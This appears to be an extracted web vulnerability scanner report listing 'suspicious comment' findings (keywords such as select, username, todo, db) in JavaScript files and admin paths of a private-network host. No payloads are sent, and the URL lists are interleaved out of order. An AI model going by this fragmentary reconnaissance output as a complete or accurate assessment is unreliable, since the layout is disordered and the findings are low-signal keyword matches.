http://192.168.1.10:80//admin/ADMIN/ADS/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/ADS/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/AS/jquery.min.js
http://192.168.1.10:80//admin/ADMIN/AS/jquery.min.js
http://192.168.1.10:80//admin/ADMIN/AS/js/bootstrap-datetimepicker.js
http://192.168.1.10:80//admin/ADMIN/AS/js/bootstrap-datetimepicker.js


Attack

Evidence select

URL http://192.168.1.10:80//admin/ADMIN/AS/js/bootstrap.js

Method GET

Attack

Evidence query

URL http://192.168.1.10:80//admin/ADMIN/AS/js/bootstrap.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/ADMIN/AS/js/DT_bootstrap.js

Method GET

Attack

Evidence from

URL http://192.168.1.10:80//admin/ADMIN/AS/js/DT_bootstrap.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/ADMIN/AS/js/jquery-1.7.2.min.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/ADMIN/AS/js/jquery-1.7.2.min.js

Method GET

Attack

Evidence username

URL http://192.168.1.10:80//admin/ADMIN/AS/js/jquery.dataTables.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10:80//admin/ADMIN/AS/js/jquery.dataTables.js

Method GET

Attack

Evidence bugs

URL http://192.168.1.10:80//admin/ADMIN/AS/js/jquery.dataTables.js

Method GET

Attack

Evidence from

URL http://192.168.1.10:80//admin/ADMIN/AS/js/jquery.dataTables.js

Method GET

Attack

http://192.168.1.10:80//admin/ADMIN/AS/js/bootstrap.js
http://192.168.1.10:80//admin/ADMIN/AS/js/bootstrap.js
http://192.168.1.10:80//admin/ADMIN/AS/js/DT_bootstrap.js
http://192.168.1.10:80//admin/ADMIN/AS/js/DT_bootstrap.js
http://192.168.1.10:80//admin/ADMIN/AS/js/jquery-1.7.2.min.js
http://192.168.1.10:80//admin/ADMIN/AS/js/jquery-1.7.2.min.js
http://192.168.1.10:80//admin/ADMIN/AS/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/AS/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/AS/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/AS/js/jquery.dataTables.js


Evidence later

URL http://192.168.1.10:80//admin/ADMIN/AS/js/jquery.dataTables.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/ADMIN/AS/js/jquery.dataTables.js

Method GET

Attack

Evidence todo

URL http://192.168.1.10:80//admin/ADMIN/AS/js/jquery.dataTables.js

Method GET

Attack

Evidence user

URL http://192.168.1.10:80//admin/ADMIN/AS/js/jquery.dataTables.js

Method GET

Attack

Evidence where

URL http://192.168.1.10:80//admin/ADMIN/OOS/jquery-1.10.2.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10:80//admin/ADMIN/OOS/jquery-1.10.2.js

Method GET

Attack

Evidence bugs

URL http://192.168.1.10:80//admin/ADMIN/OOS/jquery-1.10.2.js

Method GET

Attack

Evidence from

URL http://192.168.1.10:80//admin/ADMIN/OOS/jquery-1.10.2.js

Method GET

Attack

Evidence later

URL http://192.168.1.10:80//admin/ADMIN/OOS/jquery-1.10.2.js

Method GET

Attack

Evidence query

URL http://192.168.1.10:80//admin/ADMIN/OOS/jquery-1.10.2.js

Method GET

Attack

Evidence select

http://192.168.1.10:80//admin/ADMIN/AS/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/AS/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/AS/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/AS/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/OOS/jquery-1.10.2.js
http://192.168.1.10:80//admin/ADMIN/OOS/jquery-1.10.2.js
http://192.168.1.10:80//admin/ADMIN/OOS/jquery-1.10.2.js
http://192.168.1.10:80//admin/ADMIN/OOS/jquery-1.10.2.js
http://192.168.1.10:80//admin/ADMIN/OOS/jquery-1.10.2.js
http://192.168.1.10:80//admin/ADMIN/OOS/jquery-1.10.2.js


URL http://192.168.1.10:80//admin/ADMIN/OOS/jquery-1.10.2.js

Method GET

Attack

Evidence user

URL http://192.168.1.10:80//admin/ADMIN/OOS/jquery-1.10.2.js

Method GET

Attack

Evidence username

URL http://192.168.1.10:80//admin/ADMIN/OOS/jquery-1.10.2.js

Method GET

Attack

Evidence where

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/bootstrap-datetimepicker.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/bootstrap-datetimepicker.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/bootstrap.js

Method GET

Attack

Evidence query

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/bootstrap.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/DT_bootstrap.js

Method GET

Attack

Evidence from

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/DT_bootstrap.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/jquery-1.7.2.min.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/jquery-1.7.2.min.js

http://192.168.1.10:80//admin/ADMIN/OOS/jquery-1.10.2.js
http://192.168.1.10:80//admin/ADMIN/OOS/jquery-1.10.2.js
http://192.168.1.10:80//admin/ADMIN/OOS/jquery-1.10.2.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/bootstrap-datetimepicker.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/bootstrap-datetimepicker.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/bootstrap.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/bootstrap.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/DT_bootstrap.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/DT_bootstrap.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/jquery-1.7.2.min.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/jquery-1.7.2.min.js


Method GET

Attack

Evidence username

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/jquery.dataTables.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/jquery.dataTables.js

Method GET

Attack

Evidence bugs

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/jquery.dataTables.js

Method GET

Attack

Evidence from

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/jquery.dataTables.js

Method GET

Attack

Evidence later

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/jquery.dataTables.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/jquery.dataTables.js

Method GET

Attack

Evidence todo

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/jquery.dataTables.js

Method GET

Attack

Evidence user

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/jquery.dataTables.js

Method GET

Attack

Evidence where

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/jquery.min.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/jquery.min.js

Method GET

http://192.168.1.10:80//admin/ADMIN/OOS/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/jquery.min.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/jquery.min.js


Attack

Evidence username

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/

Method GET

Attack

Evidence from

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/index.php

Method GET

Attack

Evidence from

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/bootstrap-datetimepicker.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/bootstrap-datetimepicker.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/bootstrap.js

Method GET

Attack

Evidence query

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/bootstrap.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/DT_bootstrap.js

Method GET

Attack

Evidence from

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/DT_bootstrap.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/jquery-1.7.2.min.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/jquery-1.7.2.min.js

Method GET

Attack

http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/
http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/index.php
http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/bootstrap-datetimepicker.js
http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/bootstrap-datetimepicker.js
http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/bootstrap.js
http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/bootstrap.js
http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/DT_bootstrap.js
http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/DT_bootstrap.js
http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/jquery-1.7.2.min.js
http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/jquery-1.7.2.min.js


Evidence username

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/jquery.dataTables.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/jquery.dataTables.js

Method GET

Attack

Evidence bugs

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/jquery.dataTables.js

Method GET

Attack

Evidence from

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/jquery.dataTables.js

Method GET

Attack

Evidence later

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/jquery.dataTables.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/jquery.dataTables.js

Method GET

Attack

Evidence todo

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/jquery.dataTables.js

Method GET

Attack

Evidence user

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/jquery.dataTables.js

Method GET

Attack

Evidence where

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/jquery.min.js

Method GET

Attack

Evidence db

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/jquery.min.js

Method GET

Attack

Evidence select

http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/jquery.min.js
http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/jquery.min.js


URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/jquery.min.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/jquery.min.js

Method GET

Attack

Evidence username

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/bootstrap-datetimepicker.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/bootstrap-datetimepicker.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/bootstrap.js

Method GET

Attack

Evidence query

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/bootstrap.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/DT_bootstrap.js

Method GET

Attack

Evidence from

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/DT_bootstrap.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/jquery-1.7.2.min.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/jquery-1.7.2.min.js

Method GET

Attack

Evidence username

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/jquery.dataTables.js

http://192.168.1.10:80//admin/ADMIN/SERVER/AS/jquery.min.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/jquery.min.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/bootstrap-datetimepicker.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/bootstrap-datetimepicker.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/bootstrap.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/bootstrap.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/DT_bootstrap.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/DT_bootstrap.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/jquery-1.7.2.min.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/jquery-1.7.2.min.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/jquery.dataTables.js


Method GET

Attack

Evidence bug

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/jquery.dataTables.js

Method GET

Attack

Evidence bugs

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/jquery.dataTables.js

Method GET

Attack

Evidence from

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/jquery.dataTables.js

Method GET

Attack

Evidence later

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/jquery.dataTables.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/jquery.dataTables.js

Method GET

Attack

Evidence todo

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/jquery.dataTables.js

Method GET

Attack

Evidence user

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/jquery.dataTables.js

Method GET

Attack

Evidence where

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/jquery.min.js

Method GET

Attack

Evidence db

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/jquery.min.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/ADMIN/SERVER/delete_user.php

Method GET

http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/jquery.min.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/jquery.min.js
http://192.168.1.10:80//admin/ADMIN/SERVER/delete_user.php


Attack

Evidence user

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/bootstrap-datetimepicker.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/bootstrap-datetimepicker.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/bootstrap.js

Method GET

Attack

Evidence query

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/bootstrap.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/DT_bootstrap.js

Method GET

Attack

Evidence from

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/DT_bootstrap.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/jquery-1.7.2.min.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/jquery-1.7.2.min.js

Method GET

Attack

Evidence username

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/jquery.dataTables.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/jquery.dataTables.js

Method GET

Attack

http://192.168.1.10:80//admin/ADMIN/SERVER/js/bootstrap-datetimepicker.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/bootstrap-datetimepicker.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/bootstrap.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/bootstrap.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/DT_bootstrap.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/DT_bootstrap.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/jquery-1.7.2.min.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/jquery-1.7.2.min.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/jquery.dataTables.js


Evidence bugs

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/jquery.dataTables.js

Method GET

Attack

Evidence from

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/jquery.dataTables.js

Method GET

Attack

Evidence later

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/jquery.dataTables.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/jquery.dataTables.js

Method GET

Attack

Evidence todo

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/jquery.dataTables.js

Method GET

Attack

Evidence user

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/jquery.dataTables.js

Method GET

Attack

Evidence where

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/jquery.min.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/jquery.min.js

Method GET

Attack

Evidence username

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/bootstrap-datetimepicker.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/bootstrap-datetimepicker.js

Method GET

Attack

Evidence select

http://192.168.1.10:80//admin/ADMIN/SERVER/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/jquery.min.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/jquery.min.js
http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/bootstrap-datetimepicker.js
http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/bootstrap-datetimepicker.js


URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/bootstrap.js

Method GET

Attack

Evidence query

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/bootstrap.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/DT_bootstrap.js

Method GET

Attack

Evidence from

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/DT_bootstrap.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/jquery-1.7.2.min.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/jquery-1.7.2.min.js

Method GET

Attack

Evidence username

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/jquery.dataTables.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/jquery.dataTables.js

Method GET

Attack

Evidence bugs

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/jquery.dataTables.js

Method GET

Attack

Evidence from

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/jquery.dataTables.js

Method GET

Attack

Evidence later

http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/bootstrap.js
http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/bootstrap.js
http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/DT_bootstrap.js
http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/DT_bootstrap.js
http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/jquery-1.7.2.min.js
http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/jquery-1.7.2.min.js
http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/jquery.dataTables.js


URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/jquery.dataTables.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/jquery.dataTables.js

Method GET

Attack

Evidence todo

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/jquery.dataTables.js

Method GET

Attack

Evidence user

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/jquery.dataTables.js

Method GET

Attack

Evidence where

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/jquery.min.js

Method GET

Attack

Evidence db

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/jquery.min.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/assets/css/bootstrap-datetimepicker.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10:80//admin/assets/css/bootstrap-datetimepicker.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/assets/js/application.js

Method GET

Attack

Evidence from

URL http://192.168.1.10:80//admin/assets/js/bootstrap-typeahead.js

Method GET

Attack

Evidence query

URL http://192.168.1.10:80//admin/assets/js/bootstrap-typeahead.js

http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/jquery.min.js
http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/jquery.min.js
http://192.168.1.10:80//admin/assets/css/bootstrap-datetimepicker.js
http://192.168.1.10:80//admin/assets/css/bootstrap-datetimepicker.js
http://192.168.1.10:80//admin/assets/js/application.js
http://192.168.1.10:80//admin/assets/js/bootstrap-typeahead.js
http://192.168.1.10:80//admin/assets/js/bootstrap-typeahead.js


Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/assets/js/bootstrap.js

Method GET

Attack

Evidence query

URL http://192.168.1.10:80//admin/assets/js/bootstrap.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/assets/js/bootstrap.min.js

Method GET

Attack

Evidence query

URL http://192.168.1.10:80//admin/assets/js/google-code-prettify/prettify.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/assets/js/google-code-prettify/prettify.js

Method GET

Attack

Evidence where

URL http://192.168.1.10:80//admin/assets/js/jquery.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/assets/js/jquery.js

Method GET

Attack

Evidence username

URL http://192.168.1.10:80//admin/assets/js/jquery.lightbox-0.5.js

Method GET

Attack

Evidence from

URL http://192.168.1.10:80//admin/assets/js/jquery.lightbox-0.5.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/assets/js/jquery.lightbox-0.5.js

Method GET

http://192.168.1.10:80//admin/assets/js/bootstrap.js
http://192.168.1.10:80//admin/assets/js/bootstrap.js
http://192.168.1.10:80//admin/assets/js/bootstrap.min.js
http://192.168.1.10:80//admin/assets/js/google-code-prettify/prettify.js
http://192.168.1.10:80//admin/assets/js/google-code-prettify/prettify.js
http://192.168.1.10:80//admin/assets/js/jquery.js
http://192.168.1.10:80//admin/assets/js/jquery.js
http://192.168.1.10:80//admin/assets/js/jquery.lightbox-0.5.js
http://192.168.1.10:80//admin/assets/js/jquery.lightbox-0.5.js
http://192.168.1.10:80//admin/assets/js/jquery.lightbox-0.5.js


Attack

Evidence user

URL http://192.168.1.10:80//admin/assets/js/jquery.lightbox-0.5.js

Method GET

Attack

Evidence Where

URL http://192.168.1.10:80//admin/assets/js/jquery.ui.custom.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10:80//admin/assets/js/jquery.ui.custom.js

Method GET

Attack

Evidence bugs

URL http://192.168.1.10:80//admin/assets/js/jquery.ui.custom.js

Method GET

Attack

Evidence from

URL http://192.168.1.10:80//admin/assets/js/jquery.ui.custom.js

Method GET

Attack

Evidence later

URL http://192.168.1.10:80//admin/assets/js/jquery.ui.custom.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/assets/js/jquery.ui.custom.js

Method GET

Attack

Evidence TODO

URL http://192.168.1.10:80//admin/assets/js/jquery.ui.custom.js

Method GET

Attack

Evidence user

URL http://192.168.1.10:80//admin/assets/js/jquery.ui.custom.js

Method GET

Attack

Evidence where

URL http://192.168.1.10:80//assets/bootstrap/js/bootstrap.js

Method GET

Attack

http://192.168.1.10:80//admin/assets/js/jquery.lightbox-0.5.js
http://192.168.1.10:80//admin/assets/js/jquery.ui.custom.js
http://192.168.1.10:80//admin/assets/js/jquery.ui.custom.js
http://192.168.1.10:80//admin/assets/js/jquery.ui.custom.js
http://192.168.1.10:80//admin/assets/js/jquery.ui.custom.js
http://192.168.1.10:80//admin/assets/js/jquery.ui.custom.js
http://192.168.1.10:80//admin/assets/js/jquery.ui.custom.js
http://192.168.1.10:80//admin/assets/js/jquery.ui.custom.js
http://192.168.1.10:80//admin/assets/js/jquery.ui.custom.js
http://192.168.1.10:80//assets/bootstrap/js/bootstrap.js


Evidence from

URL http://192.168.1.10:80//assets/jquery.min.js

Method GET

Attack

Evidence db

URL http://192.168.1.10:80//assets/jquery.min.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//assets/js/application.js

Method GET

Attack

Evidence from

URL http://192.168.1.10:80//assets/js/bootstrap-typeahead.js

Method GET

Attack

Evidence query

URL http://192.168.1.10:80//assets/js/bootstrap-typeahead.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//assets/js/bootstrap.js

Method GET

Attack

Evidence query

URL http://192.168.1.10:80//assets/js/bootstrap.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//assets/js/docs.min.js

Method GET

Attack

Evidence query

URL http://192.168.1.10:80//assets/js/google-code-prettify/prettify.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//assets/js/google-code-prettify/prettify.js

Method GET

Attack

Evidence where

http://192.168.1.10:80//assets/jquery.min.js
http://192.168.1.10:80//assets/jquery.min.js
http://192.168.1.10:80//assets/js/application.js
http://192.168.1.10:80//assets/js/bootstrap-typeahead.js
http://192.168.1.10:80//assets/js/bootstrap-typeahead.js
http://192.168.1.10:80//assets/js/bootstrap.js
http://192.168.1.10:80//assets/js/bootstrap.js
http://192.168.1.10:80//assets/js/docs.min.js
http://192.168.1.10:80//assets/js/google-code-prettify/prettify.js
http://192.168.1.10:80//assets/js/google-code-prettify/prettify.js


URL http://192.168.1.10:80//assets/js/ie-emulation-modes-warning.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10:80//assets/js/ie-emulation-modes-warning.js

Method GET

Attack

Evidence BUGS

URL http://192.168.1.10:80//assets/js/ie10-viewport-bug-workaround.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10:80//assets/js/jquery.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//assets/js/jquery.js

Method GET

Attack

Evidence username

URL http://192.168.1.10:80//assets/js/jquery.lightbox-0.5.js

Method GET

Attack

Evidence from

URL http://192.168.1.10:80//assets/js/jquery.lightbox-0.5.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//assets/js/jquery.lightbox-0.5.js

Method GET

Attack

Evidence user

URL http://192.168.1.10:80//assets/js/jquery.lightbox-0.5.js

Method GET

Attack

Evidence Where

URL http://192.168.1.10:80//assets/js/jquery.min.js

Method GET

Attack

Evidence db

URL http://192.168.1.10:80//assets/js/jquery.min.js

http://192.168.1.10:80//assets/js/ie-emulation-modes-warning.js
http://192.168.1.10:80//assets/js/ie-emulation-modes-warning.js
